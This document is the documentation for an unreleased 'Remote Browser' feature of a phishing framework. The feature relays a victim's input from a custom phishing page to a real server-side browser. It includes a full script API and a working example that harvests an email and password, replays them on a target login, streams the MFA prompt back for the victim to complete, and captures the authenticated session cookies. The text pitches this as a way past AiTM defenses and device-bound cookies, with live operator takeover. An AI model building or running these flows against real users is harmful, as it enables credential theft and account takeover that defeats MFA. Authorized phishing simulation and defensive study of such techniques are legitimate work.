Remote Browser

Coming in 1.36.0. This feature has not been released yet. It will be available in the next release.
Phishing Club does not ship with ready-made scripts for specific targets like Microsoft 365 or Google. It is a framework and you build your own. This guide walks you through everything you need to get started.
Experimental. APIs and behaviour may change without notice.

Remote Browser Phishing is a technique where the victim interacts with a phishing website that sends and reacts to events from a real remote browser in the background. The victim is interacting with a website you designed entirely, and you control what happens in the remote browser. It might seem familiar to tools such as CuddlePhish but it is not the same as the phishing page is not a stream of the remote target.

Some of the pros and cons when compared with AiTM phishing.

Pros

  • Bypasses AiTM defenses as the phishing is performed in a real remote browser
  • Defeats device bound cookies as the attacker can take control of the remote browser
  • Custom UI and flows give new opportunities for exploitative flows

Cons

  • Increased development time creating both the phishing page and the remote browser script
  • Increase in server resource consumption
  • New challenges: IP reputation and remote browser fingerprinting (bot detection) become the layer for attackers to bypass

Bot detection

Out of the box the remote browser is detectable. Most providers do not check thoroughly enough for it to matter in practice, but it depends on the target.

Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and is specific to the target.

Overview

The architecture consists of:

  • The phishing page is a static page served to the victim. It has no knowledge of the target site. You send events using rb.send(), and reacts to events coming back from the script using rb.on(). You design this page and its flow entirely yourself.
  • Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
  • The server-side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium-based browser) running on the Phishing Club host or a remote container.
High level architecture overview
Remote Browser architecture: phishing page, remote browser script, and server-side browser

How It Works

  1. The recipient visits your phishing page. Phishing Club renders the page and replaces {{RemoteBrowserScript "name"}} with a WebSocket client script bound to that recipient's session ID.
  2. The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
  3. The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
  4. When the victim interacts with the phishing page (submitting a form, clicking a button), the page can call rb.send("event", data). This sends events over WebSocket to the script.
  5. The script receives the event via waitForEvent() or an s.on() handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result.
  6. The script calls emit("event", data) to send a response back to the phishing page. The phishing page's rb.on() handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form.
  7. This exchange continues until the script calls s.capture() to extract cookies and storage, which records a capture event in the campaign log.
  8. The script can then call s.keepAlive() to hold the browser available for operator takeover, or call s.close() to end the session.

Creating a Script

Navigate to Remote Browsers in the sidebar and click New.

  1. Name (Required): A unique name used to reference this script from page templates.
  2. Description (Optional): Short description.
  3. Script (Required): The Remote Browser script.
  4. Configuration: Browser settings configured through the Config tab: browser mode, connection details, proxy, and timeout. Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.
Remote Browser modal
Remote Browser script editor

After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.

Local test run of script including screenshots.
Test run output with live log and screenshot events

Testing

When running a Run / Test you can click View and Control to directly view, interact and send events to the remote browser.

Local test run of with remote control view.
Remote browser control view

Configuration

Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.

Browser Mode

The mode toggle switches between two ways of launching the browser:

  • Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
  • Remote connects to an already-running browser via the Chrome DevTools Protocol. Each call to newSession() opens a new tab in that browser. This mode is intended for script development and debugging: point it at a browser running on your local machine (ws://localhost:9222) so you can watch the automation happen. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.

Local Mode Fields

Field Default Description
Proxy Upstream proxy for the server-side browser: socks5://host:port or http://host:port.
Headless Headless Run the browser without a visible window.

Remote Mode Fields

Field Required Description
Remote DevTools URL Yes The WebSocket DevTools endpoint of the running browser, e.g. ws://localhost:9222.

Timeout

The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.

Script API

Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.

There is no event loop. setTimeout and setInterval are not available. Use s.wait(ms) for fixed delays and the s.on() / s.listen() pattern for handling multiple possible inputs from the phishing page.

Global Functions

Function Description
newSession(opts?) Launches a browser and returns a session object. Options override the saved configuration: proxy, remote, headless, idleTimeout (ms, close the browser if no events arrive for this long), debug (emit a log line before and after every action), chromeDebug (stream Chrome process output to the event log), queryTimeout (ms, cap how long read operations wait for a response).
waitForEvent(event) Blocks until the phishing page calls rb.send(event, data). Returns the data payload.
waitForAny(events) Blocks until any of the named events arrives. Accepts an array or individual arguments. Returns { event, data } for whichever arrives first.
emit(event, data) Sends an event to the phishing page. The page receives it via rb.on(event, fn).
log(msg, data?) Emits a log line visible in the script runner panel and the live session stream.
info(message) Records a plain-text note in the campaign timeline for this recipient. Use it to annotate progress milestones (e.g. info("navigated to dashboard")). Visible in the campaign log but not forwarded to the phishing page.
submitData(data) Saves an arbitrary object (credentials, tokens, form values) as a submitted data event in the campaign timeline. Use this when you want to record captured values explicitly rather than via s.capture(). The data is visible in the campaign log but not forwarded to the phishing page.
retry(max, fn) Calls fn(ctx) up to max times. Return a truthy value from fn to stop looping; retry returns that value. Return false or nothing to keep looping. Returns null if all attempts are exhausted. ctx has attempt (starts at 1), max, isFirst, and isLast. Pass an options object instead of a number to add a wait between attempts: retry({ max: 5, wait: 1000 }, fn).
withTimeout(ms, fn) Runs fn with a timeout. Throws if the deadline is exceeded before fn returns.

Session Methods

newSession() returns a session object. All selectors use CSS query syntax.

Navigation

Method Description
s.navigate(url) Navigates to a URL and waits for the body element to become visible.
s.navigateBack() Goes back one entry in the browser history.
s.navigateForward() Goes forward one entry in the browser history.
s.reload() Reloads the current page.
s.stop() Stops the current page load.
s.location() Returns the current URL as a string.
s.title() Returns the current page title as a string.
s.waitURLContains(str) Blocks until the page URL contains str. Returns the full URL.
s.waitURLMatch(re) Blocks until the page URL matches the regex re. Returns the full URL.

Waiting

Method Description
s.waitVisible(...sels) Blocks until any of the given selectors is visible. Returns the matched selector.
s.waitReady(...sels) Blocks until any of the given selectors is visible and enabled. Returns the matched selector.
s.waitEnabled(...sels) Blocks until any of the given selectors is enabled. Returns the matched selector.
s.waitSelected(...sels) Blocks until any of the given selectors has a selected option. Returns the matched selector.
s.waitNotVisible(...sels) Blocks until any of the given selectors is no longer visible. Returns the matched selector.
s.waitNotPresent(...sels) Blocks until any of the given selectors is absent from the DOM. Returns the matched selector.

Race

s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously and returns as soon as any condition is met. Each key in the conditions object is a label you choose; each value specifies what to wait for.

Condition key Fires when value in result
{ visible: sel } Element has a non-zero bounding box (same as waitVisible) matched selector
{ ready: sel } Element is visible and not disabled (same as waitReady) matched selector
{ enabled: sel } Element is not disabled (same as waitEnabled) matched selector
{ present: sel } Element exists anywhere in the DOM matched selector
{ notVisible: sel } Element has a zero bounding box or is absent (same as waitNotVisible) matched selector
{ notPresent: sel } Element is absent from the DOM (same as waitNotPresent) matched selector
{ urlContains: str } Page URL contains str full URL string
{ urlMatch: /re/ } Page URL matches regex /re/ full URL string
{ event: name } Victim page calls rb.send(name, data) event payload

Returns { key, value } for whichever condition fires first. Events received during the race that do not match any condition are buffered and remain available to subsequent waitForEvent calls.

var r = s.race({
  password: { urlContains: '/challenge/pwd' },
  mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
  emailErr: { visible: '[aria-invalid="true"]' },
  retry:    { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry')    { /* r.value is the event payload */ }

Mouse

Method Description
s.click(sel) Clicks the element.
s.doubleClick(sel) Double-clicks the element.
s.clickXY(x, y) Clicks at the given page coordinates.
s.scrollIntoView(sel) Scrolls the element into the viewport.

Keyboard

Method Description
s.sendKeys(sel, text) Focuses the element and types text character by character.
s.keyEvent(key) Dispatches a key event by name (e.g. "Enter", "Tab").

Forms

Method Description
s.clear(sel) Clears the value of an input or textarea, firing the native input and change events so React and Vue update cycles trigger.
s.focus(sel) Focuses the element.
s.blur(sel) Removes focus from the element.
s.submit(sel) Submits the form containing the element.
s.setValue(sel, value) Sets the value of a form element directly without simulating keystrokes.
s.getValue(sel) Returns the current value of a form element.

DOM

Method Description
s.getText(sel) Returns the visible text of the element.
s.getTextContent(sel) Returns the textContent of the element, including hidden text.
s.getInnerHTML(sel) Returns the inner HTML of the element.
s.getOuterHTML(sel) Returns the outer HTML of the element.
s.getAttribute(sel, attr) Returns the value of the named HTML attribute, or null if absent.
s.getAttributes(sel) Returns all attributes of the element as a name/value object.
s.setAttribute(sel, attr, value) Sets the value of an HTML attribute.
s.removeAttribute(sel, attr) Removes an attribute from the element.
s.getJSAttribute(sel, prop) Returns a JavaScript property from the element (e.g. checked, selectedIndex).
s.setJSAttribute(sel, prop, value) Sets a JavaScript property on the element.
s.getNodeCount(sel) Returns the number of matching elements. Returns 0 immediately if none exist; does not wait.
s.evaluate(expr) Evaluates a JavaScript expression in the page context and returns the result.

Screenshots

Method Description
s.screenshot(name) Takes a full-page screenshot and emits it as a named event visible in the runner panel.
s.screenshotElement(sel, name) Takes a screenshot of a specific element.

Viewport and Emulation

Method Description
s.setViewport(width, height) Sets the viewport size in CSS pixels.
s.setViewportMobile(width, height) Sets the viewport with mobile and touch emulation enabled.
s.resetViewport() Resets viewport emulation to the browser default.
s.setUserAgent(ua) Overrides the browser user agent string.

Utility

Method Description
s.wait(ms) Pauses execution for the given number of milliseconds.
s.disableFidoUI() Enables the CDP WebAuthn virtual authenticator environment. Chrome intercepts WebAuthn/FIDO requests via CDP instead of showing the native passkey dialog, keeping DOM interactions possible on pages that trigger FIDO flows.
s.withTimeout(ms, fn) Runs fn(tempSession) with a deadline. The temporary session passed to fn shares the same browser tab but its operations time out after ms. Does not cancel the main session on timeout.
s.close() Closes the browser. Any subsequent calls on the session will panic.

Session Lifecycle

Method Description
s.keepAlive() Non-blocking. Marks the session as available for live streaming and operator takeover, cancels the script timeout so the browser stays alive indefinitely, and returns immediately so the script can continue (e.g. call emit() after it). The server parks the session after the script finishes and waits for an operator to terminate it.
s.on(event, fn) Registers a handler for a named event from the phishing page. Must be called before s.listen().
s.listen() Enters the event dispatch loop, calling registered handlers as events arrive. Blocks until s.done() is called, the context is cancelled, or the idle timeout fires.
s.done() Exits the s.listen() loop.

Cookie and Storage Capture

s.capture(opts?) extracts cookies and browser storage from the server-side browser via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie captures appear) and returned to the script so it can inspect or re-emit the data.

s.capture({
    domains:        ["example.com"],     // filter cookies to these domains
    cookieNames:    ["session", "auth"], // keep only cookies with these names
    localStorage:   true,               // include localStorage (default: true, false if domains set)
    sessionStorage: true                // include sessionStorage (default: true, false if domains set)
});
Option Type Default Description
domains string[] Restrict cookie retrieval to these domains. Phishing Club builds HTTPS URLs for each domain and uses the CDP Network.getCookies call. Leading dots are stripped.
cookieNames string[] After domain filtering, keep only cookies whose name appears in this list.
localStorage bool true (false if domains set) Include the page's localStorage in the capture.
sessionStorage bool true (false if domains set) Include the page's sessionStorage in the capture.

Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.

Live Streaming to the Phishing Page

The script can stream a cropped, live view of any element in the server-side browser directly to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without their browser ever connecting to it. The phishing page renders the frames on a <canvas> element and forwards mouse and keyboard input back to the server-side browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance and laggy depending on what is being streamed.

// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });

// Stop when done
handle.stop();
Parameter Type Description
selector string CSS selector for the element to capture and stream.
name string Stream identifier. The phishing page uses this name in rb.mountStream(name, el) to attach the canvas.
maxFps int Maximum frame rate. 0 means unlimited (default).
quality int JPEG quality 1-100. 0 uses the default of 92.

Victim-side Integration

Template Function

Add this template function call anywhere in a phishing page to inject the remote browser client:

{{RemoteBrowserScript "remote-browser-script-name"}}

Phishing Club looks up the script by name within the current company context and renders a <script> tag bound to the recipients session. During template validation or preview the function renders as an empty string.

window.rb API

After the script tag loads, window.rb (alias window.remoteBrowser) is available on the phishing page with the following interface.

Method Description
rb.send(event, data) Sends an event with a data payload to the server-side script. The script receives it via waitForEvent(event) or an s.on(event, fn) handler.
rb.on(event, fn) Registers a handler for events emitted by the script with emit(event, data). fn receives the data payload.
rb.on("stream_start", name, fn) Fires when the server starts streaming the element named name. The handler receives (cssWidth, cssHeight). Call rb.mountStream(name, el) inside the handler to attach a canvas.
rb.on("stream_stop", name, fn) Fires when the server stops the named stream.
rb.mountStream(name, el, opts?) Creates a <canvas> inside el that receives JPEG frames for the named stream and forwards mouse and keyboard events back to the server. Options: autoSize (resize the container element to match the stream dimensions, default false), scroll (forward scroll wheel events, default false), arrowKeys (forward arrow key events, default false).

Session Lifecycle Events

The server automatically emits the following events to the phishing page when the session ends. Register handlers with rb.on() to redirect the victim or show a message when each condition occurs.

Event When it fires
done Script completed normally (the script reached its last line).
session_timeout The global script timeout was reached. The browser has been closed. Use this to redirect the victim to a neutral page rather than leaving them on a broken form.
session_closed The session was terminated by an operator (via Terminate in the live session panel). The browser has been closed.

Example: Credential and MFA Capture

The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.

Phishing page (HTML)

<div id="step-login">
  <input id="inp-user" type="text" placeholder="Email" />
  <input id="inp-pass" type="password" placeholder="Password" />
  <button id="btn-login">Sign in</button>
</div>

<div id="step-mfa" style="display:none">
  <p>Complete the verification below.</p>
  <div id="mfa-canvas-host"></div>
</div>

{{RemoteBrowserScript "corp-sso"}}

<script>
document.getElementById("btn-login").addEventListener("click", function() {
  rb.send("credentials", {
    username: document.getElementById("inp-user").value,
    password: document.getElementById("inp-pass").value
  });
});

rb.on("mfa_required", function() {
  document.getElementById("step-login").style.display = "none";
  document.getElementById("step-mfa").style.display   = "block";
});

rb.on("stream_start", "mfa", function() {
  rb.mountStream("mfa", document.getElementById("mfa-canvas-host"), { autoSize: true });
});

rb.on("done", function() {
  window.location.href = "{{.URL}}";
});
</script>

Server-side script

var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");

var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");

s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");

// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();

s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();

Live Sessions

When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.

Live badge and action menu
Live session controls in the campaign recipients table

The following actions are available on a live session:

  • View: Opens a read-only stream of the server-side browser's active tab. You can watch what the browser is doing in real time without sending any input.
  • Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server-side browser, allowing you to take over the session manually.
  • Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.

View and Control are only available once the script has called newSession() and the browser context is ready. A script that calls s.keepAlive() holds the browser open indefinitely for operator takeover. Test runs launched from the editor also register as live sessions and can be viewed while the test is in progress.

Tab management

When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.

Live remote session control
Live session control view

Tips

No setTimeout or setInterval

The script VM has no event loop. setTimeout and setInterval are not available. Use s.wait(ms) for fixed delays. For repeated checks, use a while loop with s.wait() and s.getNodeCount().

Handling Optional Elements

waitVisible throws if the element does not appear before the context deadline. Use s.getNodeCount() to probe without blocking, or wrap optional flows in s.withTimeout() to handle them gracefully:

s.withTimeout(5000, function(t) {
    if (t.getNodeCount("div.captcha") > 0) {
        // handle captcha branch
    }
});

Sequential vs. Event-driven

For linear flows where each step follows the previous one, use sequential waitForEvent() calls. For flows where the victim can take multiple actions in any order (or where the same event might arrive more than once), use the event-driven model:

var s = newSession();
s.navigate("https://app.example.com/login");

s.on("credentials", function(data) {
    s.sendKeys("input[name='email']", data.username);
    s.sendKeys("input[name='password']", data.password);
    s.click("button[type='submit']");
    s.waitVisible("#app");
    s.capture({ domains: ["app.example.com"] });
    s.done();
});

s.listen();
s.close();

Matching the Victim's Viewport

When the victim loads the phishing page, the injected script immediately sends their browser viewport dimensions over WebSocket. The backend applies these to the server-side browser via EmulateViewport as soon as both the dimensions and the browser context are available. This means the real site renders at the same size as the victim's window, keeping responsive layouts and element positions consistent. You do not need to call s.setViewport() for this. Call it explicitly only when you need to override the victim's dimensions, for example to force a desktop layout on a site that serves mobile content by default.

Sizing Streamed Elements

When using s.stream(), the canvas on the phishing page will match the pixel dimensions of the streamed element in the server-side browser. Because the server-side browser is sized to the victim's viewport, the streamed element will naturally be the same size it would appear to the victim on the real site. Pass autoSize: true to rb.mountStream() to have the container element automatically resize to fit the canvas, so you do not need to hard-code dimensions in CSS:

rb.mountStream("mfa", document.getElementById("mfa-host"), { autoSize: true });

Idle Timeout

Pass idleTimeout (in milliseconds) to newSession() to close the browser automatically if no events arrive from the phishing page within the specified period. This prevents sessions from staying open when a victim abandons the tab.

var s = newSession({ idleTimeout: 120000 }); // close after 2 minutes of inactivity

Debug Logging

Pass debug: true to newSession() to emit a log line before and after every browser action. Useful when building a script against an unfamiliar target.

var s = newSession({ debug: true });

Pass chromeDebug: true to also stream Chrome's own process output (stderr) into the event log. This surfaces low-level browser errors such as crash signals or missing system libraries. Chrome emits a lot of noise in this mode; only enable it when diagnosing browser startup or crash issues.

var s = newSession({ chromeDebug: true });